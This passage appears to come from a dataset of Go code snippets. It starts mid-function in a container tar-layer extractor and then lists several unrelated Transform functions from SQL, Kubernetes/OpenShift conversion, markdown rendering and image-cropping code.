dirHdr\")\n\t\t}\n\n\t\t// More faking to trick restoreMetadata to actually restore the directory.\n\t\tdirHdr.Typeflag = tar.TypeDir\n\t\tdirHdr.Linkname = \"\"\n\n\t\t// os.Lstat doesn't get the list of xattrs by default. We need to fill\n\t\t// this explicitly. Note that while Go's \"archive/tar\" takes strings,\n\t\t// in Go strings can be arbitrary byte sequences so this doesn't\n\t\t// restrict the possible values.\n\t\t// TODO: Move this to a separate function so we can share it with\n\t\t// tar_generate.go.\n\t\txattrs, err := te.fsEval.Llistxattr(dir)\n\t\tif err != nil {\n\t\t\tif errors.Cause(err) != unix.ENOTSUP {\n\t\t\t\treturn errors.Wrap(err, \"get dirHdr.Xattrs\")\n\t\t\t}\n\t\t\tif !te.enotsupWarned {\n\t\t\t\tlog.Warnf(\"xattr{%s} ignoring ENOTSUP on llistxattr\", dir)\n\t\t\t\tlog.Warnf(\"xattr{%s} destination filesystem does not support xattrs, further warnings will be suppressed\", path)\n\t\t\t\tte.enotsupWarned = true\n\t\t\t} else {\n\t\t\t\tlog.Debugf(\"xattr{%s} ignoring ENOTSUP on clearxattrs\", path)\n\t\t\t}\n\t\t}\n\t\tif len(xattrs) > 0 {\n\t\t\tdirHdr.Xattrs = map[string]string{}\n\t\t\tfor _, xattr := range xattrs {\n\t\t\t\tvalue, err := te.fsEval.Lgetxattr(dir, xattr)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"get xattr\")\n\t\t\t\t}\n\t\t\t\tdirHdr.Xattrs[xattr] = string(value)\n\t\t\t}\n\t\t}\n\n\t\t// Ensure that after everything we correctly re-apply the old metadata.\n\t\t// We don't map this header because we're restoring files that already\n\t\t// existed on the filesystem, not from a tar layer.\n\t\tdefer func() {\n\t\t\t// Only overwrite the error if there wasn't one already.\n\t\t\tif err := te.restoreMetadata(dir, dirHdr); err != nil {\n\t\t\t\tif Err == nil {\n\t\t\t\t\tErr = errors.Wrap(err, \"restore parent directory\")\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// Currently the spec doesn't specify what the hdr.Typeflag of whiteout\n\t// files is meant to be. We specifically only produce regular files\n\t// ('\\x00') but it could be possible that someone produces a different\n\t// Typeflag, expecting that the path is the only thing that matters in a\n\t// whiteout entry.\n\tif strings.HasPrefix(file, whPrefix) {\n\t\tswitch te.whiteoutMode {\n\t\tcase OCIStandardWhiteout:\n\t\t\treturn te.ociWhiteout(root, dir, file)\n\t\tcase OverlayFSWhiteout:\n\t\t\treturn te.overlayFSWhiteout(dir, file)\n\t\tdefault:\n\t\t\treturn errors.Errorf(\"unknown whiteout mode %d\", te.whiteoutMode)\n\t\t}\n\t}\n\n\t// Get information about the path. This has to be done after we've dealt\n\t// with whiteouts because it turns out that lstat(2) will return EPERM if\n\t// you try to stat a whiteout on AUFS.\n\tfi, err := te.fsEval.Lstat(path)\n\tif err != nil {\n\t\t// File doesn't exist, just switch fi to the file header.\n\t\tfi = hdr.FileInfo()\n\t}\n\n\t// Attempt to create the parent directory of the path we're unpacking.\n\t// We do a MkdirAll here because even though you need to have a tar entry\n\t// for every component of a new path, applyMetadata will correct any\n\t// inconsistencies.\n\t// FIXME: We have to make this consistent, since if the tar archive doesn't\n\t// have entries for some of these components we won't be able to\n\t// verify that we have consistent results during unpacking.\n\tif err := te.fsEval.MkdirAll(dir, 0777); err != nil {\n\t\treturn errors.Wrap(err, \"mkdir parent\")\n\t}\n\n\tisDirlink := false\n\t// We remove whatever existed at the old path to clobber it so that\n\t// creating a new path will not break. The only exception is if the path is\n\t// a directory in both the layer and the current filesystem, in which case\n\t// we don't delete it for obvious reasons. In all other cases we clobber.\n\t//\n\t// Note that this will cause hard-links in the \"lower\" layer to not be able\n\t// to point to \"upper\" layer inodes even if the extracted type is the same\n\t// as the old one, however it is not clear whether this is something a user\n\t// would expect anyway. In addition, this will incorrectly deal with a\n\t// TarLink that is present before the \"upper\" entry in the layer but the\n\t// \"lower\" file still exists (so the hard-link would point to the old\n\t// inode). It's not clear if such an archive is actually valid though.\n\tif !fi.IsDir() || hdr.Typeflag != tar.TypeDir {\n\t\t// If we are in --keep-dirlinks mode and the existing fs object is a\n\t\t// symlink to a directory (with the pending object is a directory), we\n\t\t// don't remove the symlink (and instead allow subsequent objects to be\n\t\t// just written through the symlink into the directory). This is a very\n\t\t// specific usecase where layers that were generated independently from\n\t\t// each other (on different base filesystems) end up with weird things\n\t\t// like /lib64 being a symlink only sometimes but you never want to\n\t\t// delete libraries (not just the ones that were under the \"real\"\n\t\t// directory).\n\t\t//\n\t\t// TODO: This code should also handle a pending symlink entry where the\n\t\t// existing object is a directory. I'm not sure how we could\n\t\t// disambiguate this from a symlink-to-a-file but I imagine that\n\t\t// this is something that would also be useful in the same vein\n\t\t// as --keep-dirlinks (which currently only prevents clobbering\n\t\t// in the opposite case).\n\t\tif te.keepDirlinks &&\n\t\t\tfi.Mode()&os.ModeSymlink == os.ModeSymlink && hdr.Typeflag == tar.TypeDir {\n\t\t\tisDirlink, err = te.isDirlink(root, path)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"check is dirlink\")\n\t\t\t}\n\t\t}\n\t\tif !(isDirlink && te.keepDirlinks) {\n\t\t\tif err := te.fsEval.RemoveAll(path); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"clobber old path\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// Now create or otherwise modify the state of the path. Right now, either\n\t// the type of path matches hdr or the path doesn't exist. Note that we\n\t// don't care about umasks or the initial mode here, since applyMetadata\n\t// will fix all of that for us.\n\tswitch hdr.Typeflag {\n\t// regular file\n\tcase tar.TypeReg, tar.TypeRegA:\n\t\t// Create a new file, then just copy the data.\n\t\tfh, err := te.fsEval.Create(path)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"create regular\")\n\t\t}\n\t\tdefer fh.Close()\n\n\t\t// We need to make sure that we copy all of the bytes.\n\t\tn, err := system.Copy(fh, r)\n\t\tif int64(n) != hdr.Size {\n\t\t\tif err != nil {\n\t\t\t\terr = errors.Wrapf(err, \"short write\")\n\t\t\t} else {\n\t\t\t\terr = io.ErrShortWrite\n\t\t\t}\n\t\t}\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"unpack to regular file\")\n\t\t}\n\n\t\t// Force close here so that we don't affect the metadata.\n\t\tif err := fh.Close(); err != nil {\n\t\t\treturn errors.Wrap(err, \"close unpacked regular file\")\n\t\t}\n\n\t// directory\n\tcase tar.TypeDir:\n\t\tif isDirlink {\n\t\t\tbreak\n\t\t}\n\n\t\t// Attempt to create the directory. We do a MkdirAll here because even\n\t\t// though you need to have a tar entry for every component of a new\n\t\t// path, applyMetadata will correct any inconsistencies.\n\t\tif err := te.fsEval.MkdirAll(path, 0777); err != nil {\n\t\t\treturn errors.Wrap(err, \"mkdirall\")\n\t\t}\n\n\t// hard link, symbolic link\n\tcase tar.TypeLink, tar.TypeSymlink:\n\t\tlinkname := hdr.Linkname\n\n\t\t// Hardlinks and symlinks act differently when it comes to the scoping.\n\t\t// In both cases, we have to just unlink and then re-link the given\n\t\t// path. But the function used and the argument are slightly different.\n\t\tvar linkFn func(string, string) error\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeLink:\n\t\t\tlinkFn = te.fsEval.Link\n\t\t\t// Because hardlinks are inode-based we need to scope the link to\n\t\t\t// the rootfs using SecureJoinVFS. As before, we need to be careful\n\t\t\t// that we don't resolve the last part of the link path (in case\n\t\t\t// the user actually wanted to hardlink to a symlink).\n\t\t\tunsafeLinkDir, linkFile := filepath.Split(CleanPath(linkname))\n\t\t\tlinkDir, err := securejoin.SecureJoinVFS(root, unsafeLinkDir, te.fsEval)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"sanitise hardlink target in root\")\n\t\t\t}\n\t\t\tlinkname = filepath.Join(linkDir, linkFile)\n\t\tcase tar.TypeSymlink:\n\t\t\tlinkFn = te.fsEval.Symlink\n\t\t}\n\n\t\t// Link the new one.\n\t\tif err := linkFn(linkname, path); err != nil {\n\t\t\t// FIXME: Currently this can break if tar hardlink entries occur\n\t\t\t// before we hit the entry those hardlinks link to. I have a\n\t\t\t// feeling that such archives are invalid, but the correct\n\t\t\t// way of handling this is to delay link creation until the\n\t\t\t// very end. Unfortunately this won't work with symlinks\n\t\t\t// (which can link to directories).\n\t\t\treturn errors.Wrap(err, \"link\")\n\t\t}\n\n\t// character device node, block device node\n\tcase tar.TypeChar, tar.TypeBlock:\n\t\t// In rootless mode we have no choice but to fake this, since mknod(2)\n\t\t// doesn't work as an unprivileged user here.\n\t\t//\n\t\t// TODO: We need to add the concept of a fake block device in\n\t\t// \"user.rootlesscontainers\", because this workaround suffers\n\t\t// from the obvious issue that if the file is touched (even the\n\t\t// metadata) then it will be incorrectly copied into the layer.\n\t\t// This would break distribution images fairly badly.\n\t\tif te.partialRootless {\n\t\t\tlog.Warnf(\"rootless{%s} creating empty file in place of device %d:%d\", hdr.Name, hdr.Devmajor, hdr.Devminor)\n\t\t\tfh, err := te.fsEval.Create(path)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"create rootless block\")\n\t\t\t}\n\t\t\tdefer fh.Close()\n\t\t\tif err := fh.Chmod(0); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"chmod 0 rootless block\")\n\t\t\t}\n\t\t\tgoto out\n\t\t}\n\n\t\t// Otherwise the handling is the same as a FIFO.\n\t\tfallthrough\n\t// fifo node\n\tcase tar.TypeFifo:\n\t\t// We have to remove and then create the device. In the FIFO case we\n\t\t// could choose not to do so, but we do it anyway just to be on the\n\t\t// safe side.\n\n\t\tmode := system.Tarmode(hdr.Typeflag)\n\t\tdev := unix.Mkdev(uint32(hdr.Devmajor), uint32(hdr.Devminor))\n\n\t\t// Create the node.\n\t\tif err := te.fsEval.Mknod(path, os.FileMode(int64(mode)|hdr.Mode), dev); err != nil {\n\t\t\treturn errors.Wrap(err, \"mknod\")\n\t\t}\n\n\t// We should never hit any other headers (Go abstracts them away from us),\n\t// and we can't handle any custom Tar extensions. So just error out.\n\tdefault:\n\t\treturn fmt.Errorf(\"unpack entry: %s: unknown typeflag '\\\\x%x'\", hdr.Name, hdr.Typeflag)\n\t}\n\nout:\n\t// Apply the metadata, which will apply any mappings necessary. We don't\n\t// apply metadata for hardlinks, because hardlinks don't have any separate\n\t// metadata from their link (and the tar headers might not be filled).\n\tif hdr.Typeflag != tar.TypeLink {\n\t\tif err := te.applyMetadata(path, hdr); err != nil {\n\t\t\treturn errors.Wrap(err, \"apply hdr metadata\")\n\t\t}\n\t}\n\n\t// Everything is done -- the path now exists. Add it (and all its\n\t// ancestors) to the set of upper paths. We first have to figure out the\n\t// proper path corresponding to hdr.Name though.\n\tupperPath, err := filepath.Rel(root, path)\n\tif err != nil {\n\t\t// Really shouldn't happen because of the guarantees of SecureJoinVFS.\n\t\treturn errors.Wrap(err, \"find relative-to-root [should never happen]\")\n\t}\n\tfor pth := upperPath; pth != filepath.Dir(pth); pth = filepath.Dir(pth) {\n\t\tte.upperPaths[pth] = struct{}{}\n\t}\n\treturn nil\n}","func Transform() TRANSFORM {\n\treturn TRANSFORM{\n\t\ttags: []ONETRANSFORM{},\n\t}\n}","func (p *GetField) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tn := *p\n\treturn f(&n)\n}","func (n *ns1) transformZone(ns1Zone *dns.Zone) zone {\n\treturn zone{id: ns1Zone.ID, name: ns1Zone.Zone}\n}","func (s *BaseSyslParserListener) EnterTransform_arg(ctx *Transform_argContext) {}","func Transform(t transform.Transformer, filename string) error {\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\tw, err := Writer(filename, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer w.Close()\n\n\tif _, err := io.Copy(w, transform.NewReader(f, t)); err != nil {\n\t\treturn err\n\t}\n\treturn w.Commit()\n}","func (h *Hour) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tchild, err := h.Child.TransformUp(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f(NewHour(child))\n}","func (o *OpenShift) Transform(komposeObject kobject.KomposeObject, opt kobject.ConvertOptions) ([]runtime.Object, error) {\n\tnoSupKeys := o.Kubernetes.CheckUnsupportedKey(&komposeObject, unsupportedKey)\n\tfor _, keyName := range noSupKeys {\n\t\tlog.Warningf(\"OpenShift provider doesn't support %s key - ignoring\", keyName)\n\t}\n\t// this will hold all the converted data\n\tvar allobjects []runtime.Object\n\n\tif komposeObject.Namespace != \"\" {\n\t\tns := transformer.CreateNamespace(komposeObject.Namespace)\n\t\tallobjects = append(allobjects, ns)\n\t}\n\n\tvar err error\n\tvar composeFileDir string\n\tbuildRepo := opt.BuildRepo\n\tbuildBranch := opt.BuildBranch\n\n\tif komposeObject.Secrets != nil {\n\t\tsecrets, err := o.CreateSecrets(komposeObject)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"create secrets error\")\n\t\t}\n\t\tfor _, item := range secrets {\n\t\t\tallobjects = append(allobjects, item)\n\t\t}\n\t}\n\n\tsortedKeys := kubernetes.SortedKeys(komposeObject)\n\tfor _, name := range sortedKeys {\n\t\tservice := komposeObject.ServiceConfigs[name]\n\t\tvar objects []runtime.Object\n\n\t\t//replicas\n\t\tvar replica int\n\t\tif opt.IsReplicaSetFlag || service.Replicas == 0 {\n\t\t\treplica = opt.Replicas\n\t\t} else {\n\t\t\treplica = service.Replicas\n\t\t}\n\n\t\t// If Deploy.Mode = Global has been set, make replica = 1 when generating DeploymentConfig\n\t\tif service.DeployMode == \"global\" {\n\t\t\treplica = 1\n\t\t}\n\n\t\t// Must build the images before conversion (got to add service.Image in case 'image' key isn't provided\n\t\t// Check to see if there is an InputFile (required!) before we build the container\n\t\t// Check that there's actually a Build key\n\t\t// Lastly, we must have an Image name to continue\n\t\tif opt.Build == \"local\" && opt.InputFiles != nil && service.Build != \"\" {\n\t\t\t// If there's no \"image\" key, use the name of the container that's built\n\t\t\tif service.Image == \"\" {\n\t\t\t\tservice.Image = name\n\t\t\t}\n\n\t\t\tif service.Image == \"\" {\n\t\t\t\treturn nil, fmt.Errorf(\"image key required within build parameters in order to build and push service '%s'\", name)\n\t\t\t}\n\n\t\t\t// Build the container!\n\t\t\terr := transformer.BuildDockerImage(service, name)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Unable to build Docker container for service %v: %v\", name, err)\n\t\t\t}\n\n\t\t\t// Push the built container to the repo!\n\t\t\terr = transformer.PushDockerImageWithOpt(service, name, opt)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Unable to push Docker image for service %v: %v\", name, err)\n\t\t\t}\n\t\t}\n\n\t\t// Generate pod only and nothing more\n\t\tif service.Restart == \"no\" || service.Restart == \"on-failure\" {\n\t\t\t// Error out if Controller Object is specified with restart: 'on-failure'\n\t\t\tif opt.IsDeploymentConfigFlag {\n\t\t\t\treturn nil, errors.New(\"Controller object cannot be specified with restart: 'on-failure'\")\n\t\t\t}\n\t\t\tpod := o.InitPod(name, service)\n\t\t\tobjects = append(objects, pod)\n\t\t} else {\n\t\t\tobjects = o.CreateWorkloadAndConfigMapObjects(name, service, opt)\n\n\t\t\tif opt.CreateDeploymentConfig {\n\t\t\t\tobjects = append(objects, o.initDeploymentConfig(name, service, replica)) // OpenShift DeploymentConfigs\n\t\t\t\t// create ImageStream after deployment (creating IS will trigger new deployment)\n\t\t\t\tobjects = append(objects, o.initImageStream(name, service, opt))\n\t\t\t}\n\n\t\t\t// buildconfig needs to be added to objects after imagestream because of this Openshift bug: https://github.com/openshift/origin/issues/4518\n\t\t\t// Generate BuildConfig if the parameter has been passed\n\t\t\tif service.Build != \"\" && opt.Build == \"build-config\" {\n\t\t\t\t// Get the compose file directory\n\t\t\t\tcomposeFileDir, err = transformer.GetComposeFileDir(opt.InputFiles)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Warningf(\"Error %v in detecting compose file's directory.\", err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Check for Git\n\t\t\t\tif !HasGitBinary() && (buildRepo == \"\" || buildBranch == \"\") {\n\t\t\t\t\treturn nil, errors.New(\"Git is not installed! Please install Git to create buildconfig, else supply source repository and branch to use for build using '--build-repo', '--build-branch' options respectively\")\n\t\t\t\t}\n\n\t\t\t\t// Check the Git branch\n\t\t\t\tif buildBranch == \"\" {\n\t\t\t\t\tbuildBranch, err = GetGitCurrentBranch(composeFileDir)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, errors.Wrap(err, \"Buildconfig cannot be created because current git branch couldn't be detected.\")\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Detect the remote branches\n\t\t\t\tif opt.BuildRepo == \"\" {\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, errors.Wrap(err, \"Buildconfig cannot be created because remote for current git branch couldn't be detected.\")\n\t\t\t\t\t}\n\t\t\t\t\tbuildRepo, err = GetGitCurrentRemoteURL(composeFileDir)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, errors.Wrap(err, \"Buildconfig cannot be created because git remote origin repo couldn't be detected.\")\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Initialize and build BuildConfig\n\t\t\t\tbc, err := initBuildConfig(name, service, buildRepo, buildBranch)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrap(err, \"initBuildConfig failed\")\n\t\t\t\t}\n\t\t\t\tobjects = append(objects, bc) // Openshift BuildConfigs\n\n\t\t\t\t// Log what we're doing\n\t\t\t\tlog.Infof(\"Buildconfig using %s::%s as source.\", buildRepo, buildBranch)\n\t\t\t}\n\t\t}\n\n\t\tif o.PortsExist(service) {\n\t\t\tif service.ServiceType == \"LoadBalancer\" {\n\t\t\t\tsvcs := o.CreateLBService(name, service)\n\t\t\t\tfor _, svc := range svcs {\n\t\t\t\t\tsvc.Spec.ExternalTrafficPolicy = corev1.ServiceExternalTrafficPolicyType(service.ServiceExternalTrafficPolicy)\n\t\t\t\t\tobjects = append(objects, svc)\n\t\t\t\t}\n\t\t\t\tif len(svcs) > 1 {\n\t\t\t\t\tlog.Warningf(\"Create multiple service to avoid using mixed protocol in the same service when it's loadbalancer type\")\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsvc := o.CreateService(name, service)\n\t\t\t\tobjects = append(objects, svc)\n\n\t\t\t\tif service.ExposeService != \"\" {\n\t\t\t\t\tobjects = append(objects, o.initRoute(name, service, svc.Spec.Ports[0].Port))\n\t\t\t\t}\n\t\t\t\tif service.ServiceExternalTrafficPolicy != \"\" && svc.Spec.Type != corev1.ServiceTypeNodePort {\n\t\t\t\t\tlog.Warningf(\"External Traffic Policy is ignored for the service %v of type %v\", name, service.ServiceType)\n\t\t\t\t}\n\t\t\t}\n\t\t} else if service.ServiceType == \"Headless\" {\n\t\t\tsvc := o.CreateHeadlessService(name, service)\n\t\t\tobjects = append(objects, svc)\n\t\t\tif service.ServiceExternalTrafficPolicy != \"\" {\n\t\t\t\tlog.Warningf(\"External Traffic Policy is ignored for the service %v of type Headless\", name)\n\t\t\t}\n\t\t}\n\n\t\terr := o.UpdateKubernetesObjects(name, service, opt, &objects)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Error transforming Kubernetes objects\")\n\t\t}\n\n\t\tallobjects = append(allobjects, objects...)\n\t}\n\n\t// sort all object so Services are first\n\to.SortServicesFirst(&allobjects)\n\to.RemoveDupObjects(&allobjects)\n\ttransformer.AssignNamespaceToObjects(&allobjects, komposeObject.Namespace)\n\t// o.FixWorkloadVersion(&allobjects)\n\n\treturn allobjects, nil\n}","func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (g *ASTTransformer) Transform(node *ast.Document, reader text.Reader, pc parser.Context) {\n\tfirstChild := node.FirstChild()\n\ttocMode := \"\"\n\tctx := pc.Get(renderContextKey).(*markup.RenderContext)\n\trc := pc.Get(renderConfigKey).(*RenderConfig)\n\n\ttocList := make([]markup.Header, 0, 20)\n\tif rc.yamlNode != nil {\n\t\tmetaNode := rc.toMetaNode()\n\t\tif metaNode != nil {\n\t\t\tnode.InsertBefore(node, firstChild, metaNode)\n\t\t}\n\t\ttocMode = rc.TOC\n\t}\n\n\tapplyElementDir := func(n ast.Node) {\n\t\tif markup.DefaultProcessorHelper.ElementDir != \"\" {\n\t\t\tn.SetAttributeString(\"dir\", []byte(markup.DefaultProcessorHelper.ElementDir))\n\t\t}\n\t}\n\n\tattentionMarkedBlockquotes := make(container.Set[*ast.Blockquote])\n\t_ = ast.Walk(node, func(n ast.Node, entering bool) (ast.WalkStatus, error) {\n\t\tif !entering {\n\t\t\treturn ast.WalkContinue, nil\n\t\t}\n\n\t\tswitch v := n.(type) {\n\t\tcase *ast.Heading:\n\t\t\tfor _, attr := range v.Attributes() {\n\t\t\t\tif _, ok := attr.Value.([]byte); !ok {\n\t\t\t\t\tv.SetAttribute(attr.Name, []byte(fmt.Sprintf(\"%v\", attr.Value)))\n\t\t\t\t}\n\t\t\t}\n\t\t\ttxt := n.Text(reader.Source())\n\t\t\theader := markup.Header{\n\t\t\t\tText: util.BytesToReadOnlyString(txt),\n\t\t\t\tLevel: v.Level,\n\t\t\t}\n\t\t\tif id, found := v.AttributeString(\"id\"); found {\n\t\t\t\theader.ID = util.BytesToReadOnlyString(id.([]byte))\n\t\t\t}\n\t\t\ttocList = append(tocList, header)\n\t\t\tapplyElementDir(v)\n\t\tcase *ast.Paragraph:\n\t\t\tapplyElementDir(v)\n\t\tcase *ast.Image:\n\t\t\t// Images need two things:\n\t\t\t//\n\t\t\t// 1. Their src needs to munged to be a real value\n\t\t\t// 2. If they're not wrapped with a link they need a link wrapper\n\n\t\t\t// Check if the destination is a real link\n\t\t\tlink := v.Destination\n\t\t\tif len(link) > 0 && !markup.IsLink(link) {\n\t\t\t\tprefix := pc.Get(urlPrefixKey).(string)\n\t\t\t\tif pc.Get(isWikiKey).(bool) {\n\t\t\t\t\tprefix = giteautil.URLJoin(prefix, \"wiki\", \"raw\")\n\t\t\t\t}\n\t\t\t\tprefix = strings.Replace(prefix, \"/src/\", \"/media/\", 1)\n\n\t\t\t\tlnk := strings.TrimLeft(string(link), \"/\")\n\n\t\t\t\tlnk = giteautil.URLJoin(prefix, lnk)\n\t\t\t\tlink = []byte(lnk)\n\t\t\t}\n\t\t\tv.Destination = link\n\n\t\t\tparent := n.Parent()\n\t\t\t// Create a link around image only if parent is not already a link\n\t\t\tif _, ok := parent.(*ast.Link); !ok && parent != nil {\n\t\t\t\tnext := n.NextSibling()\n\n\t\t\t\t// Create a link wrapper\n\t\t\t\twrap := ast.NewLink()\n\t\t\t\twrap.Destination = link\n\t\t\t\twrap.Title = v.Title\n\t\t\t\twrap.SetAttributeString(\"target\", []byte(\"_blank\"))\n\n\t\t\t\t// Duplicate the current image node\n\t\t\t\timage := ast.NewImage(ast.NewLink())\n\t\t\t\timage.Destination = link\n\t\t\t\timage.Title = v.Title\n\t\t\t\tfor _, attr := range v.Attributes() {\n\t\t\t\t\timage.SetAttribute(attr.Name, attr.Value)\n\t\t\t\t}\n\t\t\t\tfor child := v.FirstChild(); child != nil; {\n\t\t\t\t\tnext := child.NextSibling()\n\t\t\t\t\timage.AppendChild(image, child)\n\t\t\t\t\tchild = next\n\t\t\t\t}\n\n\t\t\t\t// Append our duplicate image to the wrapper link\n\t\t\t\twrap.AppendChild(wrap, image)\n\n\t\t\t\t// Wire in the next sibling\n\t\t\t\twrap.SetNextSibling(next)\n\n\t\t\t\t// Replace the current node with the wrapper link\n\t\t\t\tparent.ReplaceChild(parent, n, wrap)\n\n\t\t\t\t// But most importantly ensure the next sibling is still on the old image too\n\t\t\t\tv.SetNextSibling(next)\n\t\t\t}\n\t\tcase *ast.Link:\n\t\t\t// Links need their href to munged to be a real value\n\t\t\tlink := v.Destination\n\t\t\tif len(link) > 0 && !markup.IsLink(link) &&\n\t\t\t\tlink[0] != '#' && !bytes.HasPrefix(link, byteMailto) {\n\t\t\t\t// special case: this is not a link, a hash link or a mailto:, so it's a\n\t\t\t\t// relative URL\n\t\t\t\tlnk := string(link)\n\t\t\t\tif pc.Get(isWikiKey).(bool) {\n\t\t\t\t\tlnk = giteautil.URLJoin(\"wiki\", lnk)\n\t\t\t\t}\n\t\t\t\tlink = []byte(giteautil.URLJoin(pc.Get(urlPrefixKey).(string), lnk))\n\t\t\t}\n\t\t\tif len(link) > 0 && link[0] == '#' {\n\t\t\t\tlink = []byte(\"#user-content-\" + string(link)[1:])\n\t\t\t}\n\t\t\tv.Destination = link\n\t\tcase *ast.List:\n\t\t\tif v.HasChildren() {\n\t\t\t\tchildren := make([]ast.Node, 0, v.ChildCount())\n\t\t\t\tchild := v.FirstChild()\n\t\t\t\tfor child != nil {\n\t\t\t\t\tchildren = append(children, child)\n\t\t\t\t\tchild = child.NextSibling()\n\t\t\t\t}\n\t\t\t\tv.RemoveChildren(v)\n\n\t\t\t\tfor _, child := range children {\n\t\t\t\t\tlistItem := child.(*ast.ListItem)\n\t\t\t\t\tif !child.HasChildren() || !child.FirstChild().HasChildren() {\n\t\t\t\t\t\tv.AppendChild(v, child)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\ttaskCheckBox, ok := child.FirstChild().FirstChild().(*east.TaskCheckBox)\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\tv.AppendChild(v, child)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tnewChild := NewTaskCheckBoxListItem(listItem)\n\t\t\t\t\tnewChild.IsChecked = taskCheckBox.IsChecked\n\t\t\t\t\tnewChild.SetAttributeString(\"class\", []byte(\"task-list-item\"))\n\t\t\t\t\tsegments := newChild.FirstChild().Lines()\n\t\t\t\t\tif segments.Len() > 0 {\n\t\t\t\t\t\tsegment := segments.At(0)\n\t\t\t\t\t\tnewChild.SourcePosition = rc.metaLength + segment.Start\n\t\t\t\t\t}\n\t\t\t\t\tv.AppendChild(v, newChild)\n\t\t\t\t}\n\t\t\t}\n\t\t\tapplyElementDir(v)\n\t\tcase *ast.Text:\n\t\t\tif v.SoftLineBreak() && !v.HardLineBreak() {\n\t\t\t\trenderMetas := pc.Get(renderMetasKey).(map[string]string)\n\t\t\t\tmode := renderMetas[\"mode\"]\n\t\t\t\tif mode != \"document\" {\n\t\t\t\t\tv.SetHardLineBreak(setting.Markdown.EnableHardLineBreakInComments)\n\t\t\t\t} else {\n\t\t\t\t\tv.SetHardLineBreak(setting.Markdown.EnableHardLineBreakInDocuments)\n\t\t\t\t}\n\t\t\t}\n\t\tcase *ast.CodeSpan:\n\t\t\tcolorContent := n.Text(reader.Source())\n\t\t\tif css.ColorHandler(strings.ToLower(string(colorContent))) {\n\t\t\t\tv.AppendChild(v, NewColorPreview(colorContent))\n\t\t\t}\n\t\tcase *ast.Emphasis:\n\t\t\t// check if inside blockquote for attention, expected hierarchy is\n\t\t\t// Emphasis < Paragraph < Blockquote\n\t\t\tblockquote, isInBlockquote := n.Parent().Parent().(*ast.Blockquote)\n\t\t\tif isInBlockquote && !attentionMarkedBlockquotes.Contains(blockquote) {\n\t\t\t\tfullText := string(n.Text(reader.Source()))\n\t\t\t\tif fullText == AttentionNote || fullText == AttentionWarning {\n\t\t\t\t\tv.SetAttributeString(\"class\", []byte(\"attention-\"+strings.ToLower(fullText)))\n\t\t\t\t\tv.Parent().InsertBefore(v.Parent(), v, NewAttention(fullText))\n\t\t\t\t\tattentionMarkedBlockquotes.Add(blockquote)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn ast.WalkContinue, nil\n\t})\n\n\tshowTocInMain := tocMode == \"true\" /* old behavior, in main view */ || tocMode == \"main\"\n\tshowTocInSidebar := !showTocInMain && tocMode != \"false\" // not hidden, not main, then show it in sidebar\n\tif len(tocList) > 0 && (showTocInMain || showTocInSidebar) {\n\t\tif showTocInMain {\n\t\t\ttocNode := createTOCNode(tocList, rc.Lang, nil)\n\t\t\tnode.InsertBefore(node, firstChild, tocNode)\n\t\t} else {\n\t\t\ttocNode := createTOCNode(tocList, rc.Lang, map[string]string{\"open\": \"open\"})\n\t\t\tctx.SidebarTocNode = tocNode\n\t\t}\n\t}\n\n\tif len(rc.Lang) > 0 {\n\t\tnode.SetAttributeString(\"lang\", []byte(rc.Lang))\n\t}\n}","func Transform(w io.Writer, r io.Reader, o *Options) (err error) {\n\t// Nothing cropped, so just pipe the image as-is.\n\tif o.Rectangle == nil {\n\t\t_, err = io.Copy(w, r)\n\t\treturn\n\t}\n\t// Cropping, will have to re-code.\n\ti, e := Decode(r)\n\tif e != nil {\n\t\treturn e\n\t}\n\treturn Encode(w, i, o)\n}","func convert(r *resource.Resource) 